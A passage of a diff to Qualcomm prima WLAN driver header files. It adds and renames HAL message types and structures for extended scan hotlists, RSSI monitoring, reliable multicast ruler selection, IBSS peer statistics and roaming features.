QWLAN_HAL_CFG_ENABLE_NAT_KEEP_ALIVE_FILTER_MAX 1 @@ -1047,7 +1056,7 @@ /* QWLAN_HAL_CFG_ENABLE_DYNAMIC_RA_START_RATE */ #define QWLAN_HAL_CFG_ENABLE_DYNAMIC_RA_START_RATE_DEF 0 #define QWLAN_HAL_CFG_ENABLE_DYNAMIC_RA_START_RATE_MIN 0 -#define QWLAN_HAL_CFG_ENABLE_DYNAMIC_RA_START_RATE_MAX 300 +#define QWLAN_HAL_CFG_ENABLE_DYNAMIC_RA_START_RATE_MAX 65535 /* QWLAN_HAL_CFG_BTC_FAST_WLAN_CONN_PREF */ #define QWLAN_HAL_CFG_BTC_FAST_WLAN_CONN_PREF_DEF 1 @@ -1087,6 +1096,10 @@ #define QWLAN_HAL_CFG_OPTIMIZE_CA_EVENT_ENABLE 1 #define QWLAN_HAL_CFG_OPTIMIZE_CA_EVENT_DEFAULT 0 +#define QWLAN_HAL_CFG_EXT_SCAN_CONC_MODE_DEF 1 +#define QWLAN_HAL_CFG_EXT_SCAN_CONC_MODE_MIN 0 +#define QWLAN_HAL_CFG_EXT_SCAN_CONC_MODE_MAX 2 + /* QWLAN_HAL_CFG_BAR_WAKEUP_HOST_DISABLE */ #define QWLAN_HAL_CFG_BAR_WAKEUP_HOST_DISABLE_MIN 0 #define QWLAN_HAL_CFG_BAR_WAKEUP_HOST_DISABLE_MAX 1 diff --git a/drivers/staging/prima/riva/inc/wlan_hal_msg.h b/drivers/staging/prima/riva/inc/wlan_hal_msg.h index 581ad449b4b7d..581862c9307c1 100644 --- a/drivers/staging/prima/riva/inc/wlan_hal_msg.h +++ b/drivers/staging/prima/riva/inc/wlan_hal_msg.h @@ -1,29 +1,30 @@ -/* Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. -* Previously licensed under the ISC license by Qualcomm Atheros, Inc. - -* -* -* Permission to use, copy, modify, and/or distribute this software for -* any purpose with or without fee is hereby granted, provided that the -* above copyright notice and this permission notice appear in all -* copies. -* -* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL -* WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED -* WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE -* AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL -* DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR -* PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER -* TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR -* PERFORMANCE OF THIS SOFTWARE. -*/ +/* + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. + * Previously licensed under the ISC license by Qualcomm Atheros, Inc. + * + * + * + * Permission to use, copy, modify, and/or distribute this software for + * any purpose with or without fee is hereby granted, provided that the + * above copyright notice and this permission notice appear in all + * copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL + * WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE + * AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL + * DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR + * PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER + * TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR + * PERFORMANCE OF THIS SOFTWARE. + */ /* -* This file was originally distributed by Qualcomm Atheros, Inc. -* under proprietary terms before Copyright ownership was assigned -* to the Linux Foundation. -*/ + * This file was originally distributed by Qualcomm Atheros, Inc. + * under proprietary terms before Copyright ownership was assigned + * to the Linux Foundation. + */ /*========================================================================== * @@ -127,7 +128,8 @@ typedef tANI_U8 tHalIpv4Addr[4]; #define WLAN_HAL_EXT_SCAN_MAX_CHANNELS 16 #define WLAN_HAL_EXT_SCAN_MAX_BUCKETS 16 #define WLAN_HAL_EXT_SCAN_MAX_HOTLIST_APS 128 -#define WLAN_HAL_EXT_SCAN_MAX_SIG_CHANGE_APS 64 +#define WLAN_HAL_EXT_SCAN_MAX_HOTLIST_SSIDS 8 + #define WLAN_HAL_EXT_SCAN_MAX_RSSI_SAMPLE_SIZE 8 /* For Logging enhancement feature currently max 2 address will be passed */ @@ -139,7 +141,8 @@ typedef enum { MGMT_FRAME_LOGS = 0, QXDM_LOGGING = 1, - FW_MEMORY_DUMP = 2 + FW_MEMORY_DUMP = 2, + FATAL_EVENT = 3 }tHalFrameLoggingType; /* Log size */ @@ -448,10 +451,9 @@ typedef enum WLAN_HAL_SET_MAX_TX_POWER_PER_BAND_REQ = 217, WLAN_HAL_SET_MAX_TX_POWER_PER_BAND_RSP = 218, - /* Reliable Multicast using Leader Based Protocol */ - WLAN_HAL_LBP_LEADER_REQ = 219, - WLAN_HAL_LBP_LEADER_RSP = 220, - WLAN_HAL_LBP_UPDATE_IND = 221, + WLAN_HAL_RMC_RULER_REQ = 219, + WLAN_HAL_RMC_RULER_RSP = 220, + WLAN_HAL_RMC_UPDATE_IND = 221, /* Batchscan */ WLAN_HAL_BATCHSCAN_SET_REQ = 222, @@ -569,8 +571,40 @@ typedef enum WLAN_HAL_LOST_LINK_PARAMETERS_IND = 312, WLAN_HAL_SEND_FREQ_RANGE_CONTROL_IND = 313, + WLAN_HAL_SSID_HOTLIST_SET_REQ = 314, + WLAN_HAL_SSID_HOTLIST_SET_RSP = 315, + WLAN_HAL_SSID_HOTLIST_RESET_REQ = 316, + WLAN_HAL_SSID_HOTLIST_RESET_RSP = 317, + + WLAN_HAL_SSID_HOTLIST_RESULT_IND = 318, + + /* WFD Session Information to start/stop Scan */ + WLAN_HAL_HIGH_PRIORITY_DATA_INFO_REQ = 319, + + WLAN_HAL_START_RSSI_MONITORING_REQ = 321, + WLAN_HAL_START_RSSI_MONITORING_RSP = 322, + WLAN_HAL_RSSI_MONITORING_IND = 323, + WLAN_HAL_STOP_RSSI_MONITORING_REQ = 324, + WLAN_HAL_STOP_RSSI_MONITORING_RSP = 325, + + //RTT3 SUPPORT + WLAN_HAL_START_OEM_DATA_REQ_IND_NEW = 326, + WLAN_HAL_START_OEM_DATA_RSP_IND_NEW = 327, + + WLAN_HAL_WIFI_CONFIG_SET_PARAMS_REQ = 328, + WLAN_HAL_WIFI_CONFIG_SET_PARAMS_RSP = 329, + + WLAN_HAL_ANTENNA_DIVERSITY_SELECTION_REQ = 330, + WLAN_HAL_ANTENNA_DIVERSITY_SELECTION_RSP = 331, + WLAN_HAL_MODIFY_ROAM_PARAMS_IND = 332, WLAN_HAL_SET_ALLOWED_ACTION_FRAMES_IND = 333, + /* PER based roaming support */ + WLAN_HAL_SET_PER_ROAM_CONFIG_REQ = 334, + WLAN_HAL_SET_PER_ROAM_CONFIG_RSP = 335, + WLAN_HAL_PER_ROAM_SCAN_TRIGGER_REQ = 336, + WLAN_HAL_PER_ROAM_SCAN_TRIGGER_RSP = 337, + WLAN_HAL_MSG_MAX = WLAN_HAL_MSG_TYPE_MAX_ENUM_SIZE }tHalHostMsgType; @@ -795,7 +829,8 @@ typedef enum HAL_GLOBAL_CLASS_B_STATS_INFO = 0x00000004, HAL_GLOBAL_CLASS_C_STATS_INFO = 0x00000008, HAL_GLOBAL_CLASS_D_STATS_INFO = 0x00000010, - HAL_PER_STA_STATS_INFO = 0x00000020 + HAL_PER_STA_STATS_INFO = 0x00000020, + HAL_PER_TX_PKT_STATS_INFO = 0x00000040 }eHalStatsMask; /* BT-AMP events type */ @@ -819,6 +854,7 @@ typedef enum PE_GLOBAL_CLASS_C_STATS_INFO = 0x00000008, PE_GLOBAL_CLASS_D_STATS_INFO = 0x00000010, PE_PER_STA_STATS_INFO = 0x00000020, + PE_PER_TX_PKT_STATS_INFO = 0x00000040, PE_STATS_TYPE_MAX = WLAN_HAL_MAX_ENUM_SIZE //This and beyond are invalid values }ePEStatsMask; @@ -994,6 +1030,14 @@ typedef PACKED_PRE struct PACKED_POST tANI_U32 contention_num_samples; // num of data pkts used for contention statistics } wifi_wmm_ac_stat; +typedef PACKED_PRE struct PACKED_POST +{ + tANI_U64 average_tsf_offset; + tANI_U32 leaky_ap_avg_num_frames_leaked; + tANI_U32 leaky_ap_guard_time; + tANI_U32 leaky_ap_detected; +} wifi_iface_leaky_ap_info; + /* Interface statistics - corresponding to 2nd most LSB in wifi statistics bitmap for getting statistics */ typedef PACKED_PRE struct PACKED_POST { @@ -1006,6 +1050,7 @@ typedef PACKED_PRE struct PACKED_POST tANI_U32 rssi_data; // access Point Data Frames RSSI (averaged) from connected AP tANI_U32 rssi_ack; // access Point ACK RSSI (averaged) from connected AP wifi_wmm_ac_stat AccessclassStats[WIFI_AC_MAX]; // per ac data packet statistics + wifi_iface_leaky_ap_info leakyApInfo; } wifi_iface_stat; /* Peer statistics - corresponding to 3rd most LSB in wifi statistics bitmap for getting statistics */ @@ -2853,6 +2898,44 @@ typedef PACKED_PRE struct PACKED_POST tStartOemDataRspParams startOemDataRspParams; } tStartOemDataRspMsg, *tpStartOemDataRspMsg; +#ifndef NEW_OEM_DATA_REQ_SIZE +#define NEW_OEM_DATA_REQ_SIZE 292 +#endif + +#ifndef NEW_OEM_DATA_RSP_SIZE +#define NEW_OEM_DATA_RSP_SIZE 2100 +#endif + +/*------------------------------------------------------------------------- +WLAN_HAL_START_OEM_DATA_REQ_IND_NEW------------------------------------ +--------------------------------------------------------------------------*/ +typedef PACKED_PRE struct PACKED_POST +{ + tSirMacAddr selfMacAddr; + tANI_U8 reserved[2]; + tANI_U8 oemDataReq[NEW_OEM_DATA_REQ_SIZE]; +} tStartOemDataReqParamsNew, *tpStartOemDataReqParamsNew; + +typedef PACKED_PRE struct PACKED_POST +{ + tHalMsgHeader header; + tStartOemDataReqParamsNew startOemDataReqParams; +} tStartOemDataReqMsgNew, *tpStartOemDataReqMsgNew; + +/*------------------------------------------------------------------------- +WLAN_HAL_START_OEM_DATA_RSP_IND_NEW------------------------------------ +--------------------------------------------------------------------------*/ +typedef PACKED_PRE struct PACKED_POST +{ + tANI_U8 oemDataRsp[NEW_OEM_DATA_RSP_SIZE]; +} tStartOemDataRspParamsNew, *tpStartOemDataRspParamsNew; + +typedef PACKED_PRE struct PACKED_POST +{ + tHalMsgHeader header; + tStartOemDataRspParamsNew startOemDataReqParams; +} tStartOemDataRspMsgNew, *tpStartOemDataRspMsgNew; + #endif /*--------------------------------------------------------------------------- @@ -3206,6 +3289,15 @@ typedef PACKED_PRE struct PACKED_POST //is transmitted }tAniPerStaStatsInfo, *tpAniPerStaStatsInfo; +// The following stats are averaged over the time between two consecutive GET_STATS_REQ messages. +typedef PACKED_PRE struct PACKED_POST +{ + tANI_U32 lastTxRate; // 802.11 data rate at which the last data frame is transmitted. + tANI_U32 txAvgRetry; // Average number of retries per 10 packets. + tANI_U32 reserved; + tANI_U32 reserved1; +}tAniPerTxPktStatsInfo, *tpAniPerTxPktStatsInfo; + typedef PACKED_PRE struct PACKED_POST { /* Success or Failure */ @@ -6773,9 +6865,17 @@ typedef enum { WPS_PRBRSP_TMPL = 48, BCN_IE_FLT_DELTA = 49, TDLS_OFF_CHANNEL = 51, + RTT3 = 52, MGMT_FRAME_LOGGING = 53, ENHANCED_TXBD_COMPLETION = 54, LOGGING_ENHANCEMENT = 55, + EXT_SCAN_ENHANCED = 56, + MEMORY_DUMP_SUPPORTED = 57, + PER_PKT_STATS_SUPPORTED = 58, + EXT_LL_STAT = 60, + WIFI_CONFIG = 61, + ANTENNA_DIVERSITY_SELECTION = 62, + PER_BASED_ROAMING = 63, MAX_FEATURE_SUPPORTED = 128, } placeHolderInCapBitmap; @@ -7566,61 +7666,152 @@ typedef PACKED_PRE struct PACKED_POST /*--------------------------------------------------------------------------- -* WLAN_HAL_TX_FAIL_IND -*--------------------------------------------------------------------------*/ -// Northbound indication from FW to host on weak link detection + * WLAN_HAL_RMC_RULER_REQ + *-------------------------------------------------------------------------*/ + +#define HAL_MAX_RMC_SESSIONS 2 + +#define HAL_NUM_MAX_RULERS 8 + +typedef enum +{ + WLAN_HAL_SUGGEST_RULER, + WLAN_HAL_BECOME_RULER, + WLAN_HAL_RULER_CMD_MAX = WLAN_HAL_MAX_ENUM_SIZE +}tRulerReqCmdType, tRulerRspCmdType; + typedef PACKED_PRE struct PACKED_POST { - // Sequence number increases by 1 whenever the device driver - // sends a notification event. This is cleared as 0 when the - // JOIN IBSS commamd is issued - tANI_U16 seqNo; - tANI_U16 staId; - tANI_U8 macAddr[HAL_MAC_ADDR_LEN]; -} tHalTXFailIndParams, *tpHalTXFailIndParams; + tRulerReqCmdType cmd; + + /* MAC address of MCAST Transmitter (source) */ + tSirMacAddr mcastTransmitter; + + /* MAC Address of Multicast Group (01-00-5E-xx-xx-xx) */ + tSirMacAddr mcastGroup; + + /* Optional black list for cmd = WLAN_HAL_SUGGEST_RULER */ + tSirMacAddr blacklist[HAL_NUM_MAX_RULERS]; +} tHalRmcRulerReqParams, *tpHalRmcRulerReqParams; typedef PACKED_PRE struct PACKED_POST { tHalMsgHeader header; - tHalTXFailIndParams txFailIndParams; -} tHalTXFailIndMsg, *tpHalTXFailIndMsg; + tHalRmcRulerReqParams rulerReqParams; +} tHalRmcRulerReqMsg, *tpHalRmcRulerReqMsg; /*--------------------------------------------------------------------------- -* WLAN_HAL_TX_FAIL_MONITOR_IND -*--------------------------------------------------------------------------*/ -// Southbound message from Host to monitor the Tx failures + * WLAN_HAL_RMC_RULER_RSP + *-------------------------------------------------------------------------*/ typedef PACKED_PRE struct PACKED_POST { - // tx_fail_count = 0 should disable the TX Fail monitor, non-zero value should enable it. - tANI_U8 tx_fail_count; -} tTXFailMonitorInfo, *tpTXFailMonitorInfo; + /* success or failure */ + tANI_U32 status; + + /* Command Type */ + tRulerRspCmdType cmd; + + /* MAC address of MCAST Transmitter (source) */ + tSirMacAddr mcastTransmitter; + + /* MAC Address of Multicast Group (01-00-5E-xx-xx-xx) */ + tSirMacAddr mcastGroup; + + /* List of candidates for cmd = WLAN_HAL_SUGGEST_RULER*/ + tSirMacAddr ruler[HAL_NUM_MAX_RULERS]; + +} tHalRmcRulerRspParams, *tpHalRmcRulerRspParams; typedef PACKED_PRE struct PACKED_POST { tHalMsgHeader header; - tTXFailMonitorInfo txFailMonitor; -} tTXFailMonitorInd, *tpTXFailMonitorInd; + tHalRmcRulerRspParams rulerRspParams; +} tHalRmcRulerRspMsg, *tpHalRmcRulerRspMsg; /*--------------------------------------------------------------------------- -* WLAN_HAL_IP_FORWARD_TABLE_UPDATE_IND -*--------------------------------------------------------------------------*/ + * WLAN_HAL_RMC_UPDATE_IND + *-------------------------------------------------------------------------*/ +typedef enum +{ + WLAN_HAL_RULER_ACCEPTED, //Host-->FW + WLAN_HAL_RULER_CANCELED, //Host-->FW + WLAN_HAL_RULER_PICK_NEW, //FW-->Host + WLAN_HAL_RULER_IND_MAX = WLAN_HAL_MAX_ENUM_SIZE +}tRmcUpdateIndType; + +typedef enum +{ + WLAN_HAL_RMC_RULER_ROLE, + WLAN_HAL_RMC_TRANSMITTER_ROLE, + WLAN_HAL_RMC_ROLE_MAX = WLAN_HAL_MAX_ENUM_SIZE +}tRmcRoleType; + typedef PACKED_PRE struct PACKED_POST { - tANI_U8 destIpv4Addr[HAL_IPV4_ADDR_LEN]; - tANI_U8 nextHopMacAddr[HAL_MAC_ADDR_LEN]; -} tDestIpNextHopMacPair; + tRmcUpdateIndType indication; + + /* Role of the entity generating this indication */ + tRmcRoleType role; + + /* MAC address of MCAST Transmitter (source) */ + tSirMacAddr mcastTransmitter; + + /* MAC Address of Multicast Group (01-00-5E-xx-xx-xx) */ + tSirMacAddr mcastGroup; + + tSirMacAddr mcastRuler; + + /* Candidate list for indication = WLAN_HAL_RULER_PICK_NEW */ + tSirMacAddr ruler[HAL_NUM_MAX_RULERS]; +} tHalRmcUpdateIndParams, *tpHalRmcUpdateIndParams; + +typedef PACKED_PRE struct PACKED_POST +{ + tHalMsgHeader header; + tHalRmcUpdateIndParams rulerIndParams; +} tHalRmcUpdateInd, *tpHalRmcUpdateInd; + +typedef PACKED_PRE struct PACKED_POST +{ + tANI_U8 staIdx; // Station Idx; + tANI_U32 txRate; // Legacy transmit rate, in units of 500 kbit/sec, + // for the most recently transmitted frame + tANI_U32 mcsIndex; // mcs index for HT20 and HT40 rates + tANI_U32 txRateFlags; // to differentiate between HT20 and + // HT40 rates; short and long guard interval + tANI_S8 rssi; // RSSI of the last received beacon +}tHalIbssPeerParams, *tpHalIbssPeerParams; + +typedef PACKED_PRE struct PACKED_POST +{ + tANI_U32 status; // success or failure + tANI_U8 numOfPeers; // Number of Peers for + // which stats are being reported + tHalIbssPeerParams ibssPeerParams[1]; // Stats of peer in IBSS +}tHalIbssPeerInfoRspParams, *tpHalIbssPeerInfoRspParams; + +// WLAN_HAL_GET_IBSS_PEER_INFO_RSP +typedef PACKED_PRE struct PACKED_POST +{ + tHalMsgHeader header; + tHalIbssPeerInfoRspParams ibssPeerInfoRspParams; +}tHalIbssPeerInfoRsp, *tpHalIbssPeerInfoRsp; typedef PACKED_PRE struct PACKED_POST { - tANI_U8 numEntries; - tDestIpNextHopMacPair destIpMacPair[1]; -} tWlanIpForwardTableUpdateIndParam; + tANI_U8 bssIdx; // Bss Index + tANI_BOOLEAN allPeerInfoReqd; // If set, all IBSS peers stats are reported + tANI_U8 staIdx; // If allPeerInfoReqd is not set, + // only stats of peer with + // staIdx is reported +}tHalIbssPeerInfoReqParams, *tpHalIbssPeerInfoReqParams; +// WLAN_HAL_GET_IBSS_PEER_INFO_REQ typedef PACKED_PRE struct PACKED_POST { tHalMsgHeader header; - tWlanIpForwardTableUpdateIndParam ipForwardTableParams; -} tWlanIpForwardTableUpdateInd; + tHalIbssPeerInfoReqParams ibssPeerInfoReqParams; +}tHalIbssPeerInfoReq, *tpHalIbssPeerInfoReq; /*--------------------------------------------------------------------------- * WLAN_HAL_ROAM_OFFLOAD_SYNCH_IND @@ -7748,8 +7939,7 @@ typedef PACKED_PRE struct PACKED_POST /*--------------------------------------------------------------------------- WLAN_HAL_RATE_UPDATE_IND *-------------------------------------------------------------------------*/ - -typedef PACKED_PRE struct PACKED_POST + typedef PACKED_PRE struct PACKED_POST { /* 0 implies UCAST RA, positive value implies fixed rate, -1 implies ignore this param */ tANI_S32 ucastDataRate; //unit Mbpsx10 @@ -7761,18 +7951,18 @@ typedef PACKED_PRE struct PACKED_POST tSirMacAddr bssid; /* 0 implies MCAST RA, positive value implies fixed rate, -1 implies ignore */ - tANI_S32 reliableMcastDataRate; //unit Mbpsx10 + tANI_S32 rmcDataRate; //unit Mbpsx10 /* TX flag to differentiate between HT20, HT40 etc */ - tTxRateInfoFlags reliableMcastDataRateTxFlag; + tTxRateInfoFlags rmcDataRateTxFlag; - /* Default (non-reliable) MCAST(or BCAST) fixed rate in 2.4 GHz, 0 implies ignore */ + /* Default (non-RMC) MCAST(or BCAST) fixed rate in 2.4 GHz, 0 implies ignore */ tANI_U32 mcastDataRate24GHz; //unit Mbpsx10 /* TX flag to differentiate between HT20, HT40 etc */ tTxRateInfoFlags mcastDataRate24GHzTxFlag; - /* Default (non-reliable) MCAST(or BCAST) fixed rate in 5 GHz, 0 implies ignore */ + /* Default (non-RMC) MCAST(or BCAST) fixed rate in 5 GHz, 0 implies ignore */ tANI_U32 mcastDataRate5GHz; //unit Mbpsx10 /* TX flag to differentiate between HT20, HT40 etc */ @@ -7786,6 +7976,42 @@ typedef PACKED_PRE struct PACKED_POST tHalRateUpdateParams halRateUpdateParams; } tHalRateUpdateInd, * tpHalRateUpdateInd; +/*--------------------------------------------------------------------------- +* WLAN_HAL_TX_FAIL_IND +*--------------------------------------------------------------------------*/ +// Northbound indication from FW to host on weak link detection +typedef PACKED_PRE struct PACKED_POST +{ + // Sequence number increases by 1 whenever the device driver + // sends a notification event. This is cleared as 0 when the + // JOIN IBSS commamd is issued + tANI_U16 seqNo; + tANI_U16 staId; + tANI_U8 macAddr[HAL_MAC_ADDR_LEN]; +} tHalTXFailIndParams, *tpHalTXFailIndParams; + +typedef PACKED_PRE struct PACKED_POST +{ + tHalMsgHeader header; + tHalTXFailIndParams txFailIndParams; +} tHalTXFailIndMsg, *tpHalTXFailIndMsg; + +/*--------------------------------------------------------------------------- +* WLAN_HAL_TX_FAIL_MONITOR_IND +*--------------------------------------------------------------------------*/ +// Southbound message from Host to monitor the Tx failures +typedef PACKED_PRE struct PACKED_POST +{ + // tx_fail_count = 0 should disable the TX Fail monitor, non-zero value should enable it. + tANI_U8 tx_fail_count; +} tTXFailMonitorInfo, *tpTXFailMonitorInfo; + +typedef PACKED_PRE struct PACKED_POST +{ + tHalMsgHeader header; + tTXFailMonitorInfo txFailMonitor; +} tTXFailMonitorInd, *tpTXFailMonitorInd; + /*--------------------------------------------------------------------------- * WLAN_HAL_AVOID_FREQ_RANGE_IND *-------------------------------------------------------------------------*/ @@ -8042,6 +8268,16 @@ typedef enum EXT_SCAN_CHANNEL_BAND_MAX = WLAN_HAL_MAX_ENUM_SIZE } tExtScanChannelBandMask; +#define WLAN_HAL_EXT_SCAN_MAX_HOTLIST_SSIDS 8 +#define WLAN_HAL_EXT_SCAN_MAX_AP_CACHE_PER_SCAN 32 + +#define WLAN_HAL_EXT_SCAN_FLAG_INTERRUPTED 1 + +#define WLAN_HAL_EXT_SCAN_REPORT_EVENTS_BUFFER_FULL 0 +#define WLAN_HAL_EXT_SCAN_REPORT_EVENTS_EACH_SCAN 1 +#define WLAN_HAL_EXT_SCAN_REPORT_EVENTS_FULL_RESULTS 2 +#define WLAN_HAL_EXT_SCAN_REPORT_EVENTS_NO_BATCH 4 + typedef PACKED_PRE struct PACKED_POST { tANI_U32 channel; // frequency @@ -8058,16 +8294,26 @@ typedef PACKED_PRE struct PACKED_POST tExtScanChannelBandMask channelBand; /* period (milliseconds) for each bucket defines the periodicity of bucket */ tANI_U32 period; - /* 0 => normal reporting (reporting rssi history only, - when rssi history buffer is % full) - * 1 => same as 0 + report a scan completion event after scanning this bucket - * 2 => same as 1 + forward scan results (beacons/probe responses + IEs) in - real time to HAL (Required for L = P0) - * 3 => same as 2 + forward scan results (beacons/probe responses + IEs) in - real time to host (Not required for L = P3) */ + /* This is a bit field; which defines following bits - + * REPORT_EVENTS_BUFFER_FULL => report only when scan history + is % full + * REPORT_EVENTS_EACH_SCAN => report a scan completion event + after scan + * REPORT_EVENTS_FULL_RESULTS => forward scan results + (beacons/probe responses + IEs) in real time to HAL, in addition + to completion events + Note: To keep backward compatibility, fire completion events + regardless of REPORT_EVENTS_EACH_SCAN. + * REPORT_EVENTS_NO_BATCH => controls batching, + 0 => batching, 1 => no batching + */ tANI_U8 reportEvents; /* number of channels */ tANI_U8 numChannels; + // new Exponential Scan params + tANI_U32 max_period; + tANI_U32 exponent; + tANI_U32 step_count; /* if channels to scan. In the TLV channelList[] */ tExtScanChannelSpec channelList[WLAN_HAL_EXT_SCAN_MAX_CHANNELS]; }tExtScanBucketData, *tpExtScanBucketData; @@ -8083,7 +8329,9 @@ typedef PACKED_PRE struct PACKED_POST (keep the most significant, i.e. stronger RSSI) */ tANI_U32 maxApPerScan; /* in %, when buffer is this much full, wake up host */ - tANI_U32 reportThreshold; + tANI_U32 reportThresholdPercent; + /* in number of scans, wake up AP after these many scans */ + tANI_U32 reportThresholdNumScans; /* This will be off channel minimum time */ tANI_U16 neighborScanChannelMinTime; /* This will be out off channel max time */ @@ -8150,7 +8398,7 @@ typedef PACKED_PRE struct PACKED_POST tANI_U32 maxScanReportingThreshold; tANI_U32 maxHotlistAPs; - tANI_U32 maxSignificantWifiChangeAPs; + tANI_U32 maxHotlistSSIDs; tANI_U32 maxBssidHistoryEntries; }tHalExtScanGetCapRsp, *tpHalExtScanGetCapRsp; @@ -8213,8 +8461,20 @@ typedef PACKED_PRE struct PACKED_POST tANI_U32 rttSd; // standard deviation in rtt - not expected tANI_U16 beaconPeriod; // period advertised in the beacon tANI_U16 capability; // capabilities advertised in the beacon + tANI_U16 ieLength; // size of the ie_data blob + tANI_U8 ieData[1]; // blob of all the information elements found in the beacon } tHalExtScanResultParams, *tpHalExtScanResultParams; +/* Get the GSCAN cached scan results */ +typedef struct { + tANI_U16 scan_id; // a unique identifier for the scan unit + tANI_U8 flags; // a bitmask with additional + // information about scan + tANI_U8 num_results; // number of bssids retrieved by the scan + tHalExtScanResultParams results[WLAN_HAL_EXT_SCAN_MAX_AP_CACHE_PER_SCAN]; + // scan results - one for each bssid +} tHalExtScanCachedResultParams, *tpHalExtScanCachedResultParams; + typedef PACKED_PRE struct PACKED_POST { tHalMsgHeader header; @@ -8296,10 +8556,6 @@ typedef PACKED_PRE struct PACKED_POST tHalExtScanResAvailableInd extScanResAvailableInd; }tHalExtScanResAvailableIndMsg, *tpHalExtScanResAvailableIndMsg; -/*--------------------------------------------------------------------------- - * WLAN_HAL_SIG_RSSI_SET_REQ - *-------------------------------------------------------------------------*/ - typedef PACKED_PRE struct PACKED_POST { /* AP BSSID */ @@ -8309,185 +8565,199 @@ typedef PACKED_PRE struct PACKED_POST tANI_S32 lowRssiThreshold; /* high threshold - used in L for significant rssi - used in L for hotlist */ tANI_S32 highRssiThreshold; - /* channel hint */ - tANI_U32 channel; } tApThresholdParams, *tpApThresholdParams; +/*--------------------------------------------------------------------------- + * WLAN_HAL_BSSID_HOTLIST_SET_REQ + *-------------------------------------------------------------------------*/ + typedef PACKED_PRE struct PACKED_POST { tANI_U32 requestId; tANI_U8 sessionId; - /* number of samples for averaging RSSI */ - tANI_U32 rssiSampleSize; - /* number of missed samples to confirm AP loss */ - tANI_U32 lostApSampleSize; - /* number of APs breaching threshold required for firmware to generate event */ - tANI_U32 minBreaching; - /* number of significant APs */ - tANI_U32 numAp; - /* significant APs */ - tApThresholdParams ap[WLAN_HAL_EXT_SCAN_MAX_SIG_CHANGE_APS]; -} tHalSigRssiSetReq, *tpHalSigRssiSetReq; + tANI_U32 lostBssidSampleSize; + // number of hotlist APs + tANI_U32 numBssid; + // hotlist APs + tApThresholdParams ap[WLAN_HAL_EXT_SCAN_MAX_HOTLIST_APS]; +} tHalBssidHotlistSetReq, *tpHalBssidHotlistSetReq; typedef PACKED_PRE struct PACKED_POST { tHalMsgHeader header; - tHalSigRssiSetReq extScanSigRssiReq; -}tHalSigRssiSetReqMsg, *tpHalSigRssiSetReqMsg; + tHalBssidHotlistSetReq bssidHotlistSetReq; +}tHalHotlistSetReqMsg, *tpHalHotlistSetReqMsg; /*--------------------------------------------------------------------------- - * WLAN_HAL_SIG_RSSI_SET_RSP + * WLAN_HAL_BSSID_HOTLIST_SET_RSP *-------------------------------------------------------------------------*/ typedef PACKED_PRE struct PACKED_POST { tANI_U32 requestId; tANI_U32 status; -}tHalSigRssiSetRsp, *tpHalSigRssiSetRsp; - +}tHalHotlistSetRsp, *tpHalHotlistSetRsp; typedef PACKED_PRE struct PACKED_POST { tHalMsgHeader header; - tHalSigRssiSetRsp sigRssiSetRsp; -}tHalSigRssiSetRspMsg, *tpHalSigRssiSetRspMsg; + tHalHotlistSetRsp hotlistSetRsp; +}tHalHotlistSetRspMsg, *tpHalHotlistSetRspMsg; /*--------------------------------------------------------------------------- - * WLAN_HAL_SIG_RSSI_RESET_REQ + * WLAN_HAL_BSSID_HOTLIST_RESET_REQ *-------------------------------------------------------------------------*/ typedef PACKED_PRE struct PACKED_POST { tANI_U32 requestId; -}tHalSigRssiResetReq, *tpHalSigRssiResetReq; +}tHalHotlistResetReq, *tpHalHotlistResetReq; typedef PACKED_PRE struct PACKED_POST { tHalMsgHeader header; - tHalSigRssiResetReq sigRssiResetReq; -}tHalSigRssiResetReqMsg, *tpHalSigRssiResetReqMsg; + tHalHotlistResetReq hotlistResetReq; +}tHalHotlistResetReqMsg, *tpHalHotlistResetReqMsg; /*--------------------------------------------------------------------------- - * WLAN_HAL_SIG_RSSI_RESET_RSP + * WLAN_HAL_BSSID_HOTLIST_RESET_RSP *-------------------------------------------------------------------------*/ typedef PACKED_PRE struct PACKED_POST { tANI_U32 requestId; tANI_U32 status; -}tHalSigRssiResetRsp, *tpHalSigRssiResetRsp; +}tHalHotlistResetRsp, *tpHalHotlistResetRsp; typedef PACKED_PRE struct PACKED_POST { tHalMsgHeader header; - tHalSigRssiResetRsp sigRssiResetRsp; -}tHalSigRssiResetRspMsg, *tpHalSigRssiResetRspMsg; + tHalHotlistResetRsp hotlistResetRsp; +}tHalHotlistResetRspMsg, *tpHalHotlistResetRspMsg; /*--------------------------------------------------------------------------- - * WLAN_HAL_SIG_RSSI_RESULT_IND + * WLAN_HAL_BSSID_HOTLIST_RESULT_IND *-------------------------------------------------------------------------*/ -typedef PACKED_PRE struct PACKED_POST -{ - // BSSID - tSirMacAddr bssid; - // channel frequency in MHz - tANI_U32 channel; - // number of rssi samples - tANI_U8 numRssi; - // RSSI history in db - tANI_S32 rssi[WLAN_HAL_EXT_SCAN_MAX_RSSI_SAMPLE_SIZE]; -} tHalSigRssiResultParams, *tpHalSigRssiResultParams; - typedef PACKED_PRE struct PACKED_POST { tHalMsgHeader header; tANI_U32 requestId; - tANI_U32 numSigRssiBss; + tANI_U32 numHotlistBss; tANI_BOOLEAN moreData; - tANI_U8 sigRssiResult[1]; -}tHalSigRssiResultIndMsg, *tpHalSigRssiResultIndMsg; + tANI_U8 bssHotlist[1]; +}tHalHotlistResultIndMsg, *tpHalHotlistResultIndMsg; 